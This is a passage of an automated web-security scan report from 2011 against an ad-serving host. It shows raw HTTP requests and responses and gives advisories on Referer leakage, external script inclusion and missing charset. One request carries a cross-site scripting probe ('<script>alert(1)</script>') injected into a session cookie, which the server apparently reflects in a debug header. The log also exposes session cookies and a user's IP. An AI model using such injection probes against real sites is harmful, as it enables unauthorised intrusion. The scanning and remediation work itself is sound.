gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: D41U=3Nyj5fipbZBWiT7eNY-OMuK0KbpdEAgp0GrH-wWfsMRl3pcGRo-aEow; meld_sess=6acccca4-d0e4-464e-a824-f67cb28d55565db8f"><script>alert(1)</script>bb79be700f2
Response
HTTP/1.1 200 OK Server: Apache P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR" Pragma: no-cache Cache-Control: no-store Expires: Mon, 26 Jul 1997 05:00:00 GMT X-AdMeld-Debug: eyB0eXBlOiAgICAgICAgICJtZWxkIiwgIHB1YjogICAgICAgICAgMjE1LCAgc2l0ZTogICAgICAgICAiam91cm5hbHJlZ2lzdGVyY29tcGFueSIsICBhZDogICAgICAgICAgIDI2MzUxOCwgIG5ldHdvcms6ICAgICAgImNvbnRleHR3ZWIiLCAgc2l6ZTogICAgICAgICAiNzI4eDkwIiwgIGZyZXE6ICAgICAgICAgIjEtMyIsICBkZWZhdWx0czogICAgICIwLTAiLCAgcmVxdWVzdDogICAgICAiNmIwNDc1ZjctNzg0MC00NmIwLWI3MjctYTgxZDZmZmEwMWViIiwgIHVzZXI6ICAgICAgICAgIjZhY2NjY2E0LWQwZTQtNDY0ZS1hODI0LWY2N2NiMjhkNTU1NjVkYjhmIj48c2NyaXB0PmFsZXJ0KDEpPC9zY3JpcHQ+YmI3OWJlNzAwZjIiLCAgY291bnRyeTogICAgICAiVVMiLCAgY2l0eTogICAgICAgICAiRGFsbGFzIiwgIGRtYTogICAgICAgICAgNjIzLCAgcmVnaW9uOiAgICAgICAiVFgiLCAgaXA6ICAgICAgICAgICAiMTczLjE5My4yMTQuMjQzIiwgIGRlcHRoOiAgICAgICAgMSwgIHRhcmdldDogICAgICAgIm1pZGRsZXRvd25fcHJlc3NfYnRmIiwgIGRpdjogICAgICAgICAgIjZiMDQ3NWY3LTc4NDAtNDZiMC1iNzI3LWE4MWQ2ZmZhMDFlYiIsICB1cmw6ICAgICAgICAgICJodHRwOi8vd3d3Lm1pZGRsZXRvd25wcmVzcy5jb20vYXJ0aWNsZXMvMjAxMS8wMS8yNi9lbnRlcnRhaW5tZW50L2RvYzRkM2ZhMmU3NmIyNWY1MTM0NzcwNDAudHh0YTVhNjkiLCAgZWxhcHNlZDogICAgICAwLCAgZGVjaXNpb246ICAgICAiYWQiLCAgaW1wOiAgICAgICAgICAxLCAgbmV0d29ya19pZDogICA4LCAgYWNjb3VudF9pZDogICAxNTU3MywgIG5ldHdvcmtfbmFtZTogIkNvbnRleHRXZWIiLCAgcHVibGlzaGVyX25hbWU6ICJqb3VybmFscmVnaXN0ZXJjb21wYW55IiwgIGVjcG06ICAgICAgICAgIjAuNjIiLCAgZmVjcG06ICAgICAgICAiMC42MiIsICBmaWxsOiAgICAgICAgICIxMi42OSIsICBwbGFjZW1lbnQ6ICAgICJtaWRkbGV0b3duX3ByZXNzX2J0ZiIsICBydWxlOiAgICAgICAgICJtaWRkbGV0b3duX3ByZXNzX2J0ZiIsICBjcmVhdGl2ZV9pZDogICIiLCAgYmlkZGVyczogICAgICBbeyJuZXR3b3JrX25hbWUiOiJNZWRpYU1hdGggKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyMTQ2MjAsICJidXkiOjUwNCwibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIGJpZCIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJUcmlnZ2l0IChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MjU4OTM5LCAiYnV5IjoxMjQ0LCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6Ik1heFBvaW50IEludGVyYWN0aXZlIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MTUxODY4NSwgImJ1eSI6MTc4LCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6IkVxYWRzIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MTcxNTU5NCwgImJ1eSI6NDI1MiwibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIHJlc3BvbnNlIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6IkZvcmJlcyAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjIxNjM0NDksICJidXkiOjcyMDAsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyBiaWQiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9XSwgIHRhcmdldGluZzogICAgIiIsICBob3N0OiAgICAgICAgICJuai10YWc1In0= Content-Length: 1668 Content-Type: text/html Date: Thu, 27 Jan 2011 02:05:57 GMT Connection: close
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
GET /ad/iframe/215/journalregistercompany/728x90/middletown_press_atf HTTP/1.1 Host: tag.admeld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: meld_sess=6acccca4-d0e4-464e-a824-f67cb28d5556; D41U=3Nyj5fipbZBWiT7eNY-OMuK0KbpdEAgp0GrH-wWfsMRl3pcGRo-aEow;
Response
HTTP/1.1 200 OK Server: Apache P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR" Pragma: no-cache Cache-Control: no-store Expires: Mon, 26 Jul 1997 05:00:00 GMT X-AdMeld-Debug: eyB0eXBlOiAgICAgICAgICJtZWxkIiwgIHB1YjogICAgICAgICAgMjE1LCAgc2l0ZTogICAgICAgICAiam91cm5hbHJlZ2lzdGVyY29tcGFueSIsICBhZDogICAgICAgICAgIDI2MzUxOCwgIG5ldHdvcms6ICAgICAgImNvbnRleHR3ZWIiLCAgc2l6ZTogICAgICAgICAiNzI4eDkwIiwgIGZyZXE6ICAgICAgICAgIjEtMyIsICBkZWZhdWx0czogICAgICIwLTAiLCAgcmVxdWVzdDogICAgICAiOTY3MDk5M2YtZjJhYS00NDg2LWE2YjQtNWZlMDRjOTNhNmNiIiwgIHVzZXI6ICAgICAgICAgIjZhY2NjY2E0LWQwZTQtNDY0ZS1hODI0LWY2N2NiMjhkNTU1NiIsICBjb3VudHJ5OiAgICAgICJVUyIsICBjaXR5OiAgICAgICAgICJEYWxsYXMiLCAgZG1hOiAgICAgICAgICA2MjMsICByZWdpb246ICAgICAgICJUWCIsICBpcDogICAgICAgICAgICIxNzMuMTkzLjIxNC4yNDMiLCAgZGVwdGg6ICAgICAgICAxLCAgdGFyZ2V0OiAgICAgICAibWlkZGxldG93bl9wcmVzc19hdGYiLCAgZGl2OiAgICAgICAgICAiOTY3MDk5M2YtZjJhYS00NDg2LWE2YjQtNWZlMDRjOTNhNmNiIiwgIHVybDogICAgICAgICAgIiIsICBlbGFwc2VkOiAgICAgIDAsICBkZWNpc2lvbjogICAgICJhZCIsICBpbXA6ICAgICAgICAgIDEsICBuZXR3b3JrX2lkOiAgIDgsICBhY2NvdW50X2lkOiAgIDE1NTczLCAgbmV0d29ya19uYW1lOiAiQ29udGV4dFdlYiIsICBwdWJsaXNoZXJfbmFtZTogImpvdXJuYWxyZWdpc3RlcmNvbXBhbnkiLCAgZWNwbTogICAgICAgICAiMC41OCIsICBmZWNwbTogICAgICAgICIwLjU4IiwgIGZpbGw6ICAgICAgICAgIjEyLjY5IiwgIHBsYWNlbWVudDogICAgIm1pZGRsZXRvd25fcHJlc3NfYXRmIiwgIHJ1bGU6ICAgICAgICAgIm1pZGRsZXRvd25fcHJlc3NfYXRmIiwgIGNyZWF0aXZlX2lkOiAgIiIsICBiaWRkZXJzOiAgICAgIFtdLCAgdGFyZ2V0aW5nOiAgICAiIiwgIGhvc3Q6ICAgICAgICAgIm5qLXRhZzQ3In0= Content-Length: 967 Content-Type: text/html Date: Thu, 27 Jan 2011 04:35:19 GMT Connection: close
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
GET /ad/iframe/ HTTP/1.1 Host: tag.admeld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: meld_sess=6acccca4-d0e4-464e-a824-f67cb28d5556; D41U=3Nyj5fipbZBWiT7eNY-OMuK0KbpdEAgp0GrH-wWfsMRl3pcGRo-aEow;
Response
HTTP/1.1 200 OK Server: Apache P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR" Pragma: no-cache Cache-Control: no-store Expires: Mon, 26 Jul 1997 05:00:00 GMT X-AdMeld-Debug: eyB0eXBlOiAgICAgICAgICJtZWxkIiwgIHB1YjogICAgICAgICAgMCwgIHNpdGU6ICAgICAgICAgIiIsICBhZDogICAgICAgICAgIDAsICBuZXR3b3JrOiAgICAgICJhZG1lbGRwc2EiLCAgc2l6ZTogICAgICAgICAiMzAweDI1MCIsICBmcmVxOiAgICAgICAgICIwLTAiLCAgZGVmYXVsdHM6ICAgICAiMC0wIiwgIHJlcXVlc3Q6ICAgICAgImNhNmE2ODJmLTI5NGMtNDU1YS1hZWMwLTdkOWM3YjM1ZWFjYSIsICB1c2VyOiAgICAgICAgICI2YWNjY2NhNC1kMGU0LTQ2NGUtYTgyNC1mNjdjYjI4ZDU1NTYiLCAgY291bnRyeTogICAgICAiVVMiLCAgY2l0eTogICAgICAgICAiRGFsbGFzIiwgIGRtYTogICAgICAgICAgNjIzLCAgcmVnaW9uOiAgICAgICAiVFgiLCAgaXA6ICAgICAgICAgICAiMTczLjE5My4yMTQuMjQzIiwgIGRlcHRoOiAgICAgICAgMSwgIHRhcmdldDogICAgICAgIiIsICBkaXY6ICAgICAgICAgICJjYTZhNjgyZi0yOTRjLTQ1NWEtYWVjMC03ZDljN2IzNWVhY2EiLCAgdXJsOiAgICAgICAgICAiIiwgIGVsYXBzZWQ6ICAgICAgMCwgIGRlY2lzaW9uOiAgICAgInBzYSIsICBpbXA6ICAgICAgICAgIDAsICBuZXR3b3JrX2lkOiAgIDAsICBhY2NvdW50X2lkOiAgIDAsICBuZXR3b3JrX25hbWU6ICJBZE1lbGQgUFNBIiwgIHB1Ymxpc2hlcl9uYW1lOiAiMCIsICBlY3BtOiAgICAgICAgICIwLjAwIiwgIGZlY3BtOiAgICAgICAgIjAuMDAiLCAgZmlsbDogICAgICAgICAiMC4wMCIsICBwbGFjZW1lbnQ6ICAgICIiLCAgcnVsZTogICAgICAgICAicm9zIiwgIGNyZWF0aXZlX2lkOiAgIiIsICBiaWRkZXJzOiAgICAgIFtdLCAgdGFyZ2V0aW5nOiAgICAiIiwgIGhvc3Q6ICAgICAgICAgIm5qLXRhZzMyIn0= Content-Length: 442 Content-Type: text/html Date: Thu, 27 Jan 2011 04:35:19 GMT Connection: close